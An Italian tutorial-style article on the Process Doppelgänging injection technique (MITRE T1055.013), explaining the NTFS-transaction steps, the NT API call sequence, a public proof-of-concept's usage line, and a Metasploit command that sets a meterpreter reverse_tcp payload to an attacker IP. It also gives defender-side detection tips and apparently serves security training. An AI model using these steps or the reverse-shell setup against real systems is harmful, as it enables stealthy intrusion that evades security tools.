Process Doppelgänging: Iniezione Fantasma via NTFS Transazionale (T1055.013)

Process Doppelgänging è una tecnica di code injection che sfrutta le transazioni NTFS — un meccanismo nativo di Windows introdotto con Vista e tuttora presente, sebbene deprecato — per eseguire codice malevolo nello spazio di memoria di un processo legittimo senza lasciare tracce persistenti sul file system. La tecnica si colloca in due tattiche distinte della kill chain: Defense Evasion (TA0005), perché maschera l'esecuzione sotto un processo fidato aggirando i controlli basati su firma e comportamento, e Privilege Escalation (TA0004), poiché il processo risultante può ereditare o manipolare il contesto di sicurezza del processo ospite.

Il meccanismo si articola in quattro fasi: creazione di una transazione TxF su un eseguibile legittimo, sovrascrittura del contenuto con il payload malevolo all'interno della transazione, rollback della transazione (che cancella ogni modifica dal disco), e infine animazione del processo a partire dalla sezione di memoria ancora "sporca". Il risultato è un processo che appare legittimo al sistema operativo e ai tool di sicurezza, poiché il file su disco non è mai stato effettivamente modificato.

A differenza del più noto Process Hollowing, questa tecnica evita API altamente monitorate come NtUnmapViewOfSection, VirtualProtectEx e SetThreadContext, rendendo la detection significativamente più complessa. La superficie di attacco è limitata a sistemi Windows con TxF abilitato — sostanzialmente ogni installazione da Vista a Windows 11 — e coinvolge 1 gruppo APT documentato, 2 famiglie malware note e 1 mitigazione raccomandata.


Il Process Doppelgänging è una tecnica avanzata che richiede interazione diretta con API native NT, il che la rende più complessa da implementare rispetto al classico hollowing. Per replicarla in laboratorio servono familiarità con le API non documentate del kernel Windows e un ambiente isolato — una VM Windows 10/11 con Defender disabilitato è il punto di partenza ideale.

La catena d'attacco si basa su quattro chiamate NT native eseguite in sequenza. La prima fase crea una transazione NTFS tramite NtCreateTransaction, apre un file legittimo (ad esempio svchost.exe o calc.exe) all'interno del contesto transazionale con CreateFileTransacted, e sovrascrive il contenuto con il payload malevolo usando NtWriteFile. La seconda fase carica l'immagine modificata in memoria con NtCreateSection, creando una sezione di tipo SEC_IMAGE. A questo punto si esegue il rollback della transazione con NtRollbackTransaction: il file su disco torna intatto, ma la sezione in memoria conserva il payload. Infine, NtCreateProcessEx genera un nuovo processo dalla sezione corrotta, e NtCreateThreadEx ne avvia l'esecuzione.

Per la fase di laboratorio, il framework più diretto è il proof-of-concept pubblicato dalla ricercatrice hasherezade su GitHub, denominato process_doppelganging (open source). Questo PoC implementa le quattro fasi in C e può essere compilato con Visual Studio. Il comando di esecuzione è semplice:

process_doppelganging.exe <eseguibile_target> <payload_dll_o_exe>

Un'alternativa integrata nei framework offensivi è il modulo di Metasploit (open source). Per utilizzarlo:

use exploit/windows/local/process_doppelganging set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <ip_attaccante> set LPORT 4444 set TARGET_PE <path_eseguibile_legittimo> run

Durante il test è fondamentale monitorare cosa vede il difensore. Affianca all'esecuzione una console Sysmon (gratuito) configurata per catturare eventi di creazione processo (EventID 1) e accesso ai file (EventID 11). Noterai che il processo figlio appare con il nome dell'eseguibile legittimo, ma l'hash dell'immagine in memoria non corrisponde a quello su disco — un artefatto chiave per chi difende.

Un aspetto da testare è la correlazione temporale: tra il rollback TxF e la creazione del thread passano tipicamente millisecondi. Strumenti EDR avanzati possono intercettare questa finestra, quindi verifica se la tua configurazione difensiva la rileva prima di dichiarare il test completato.


Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo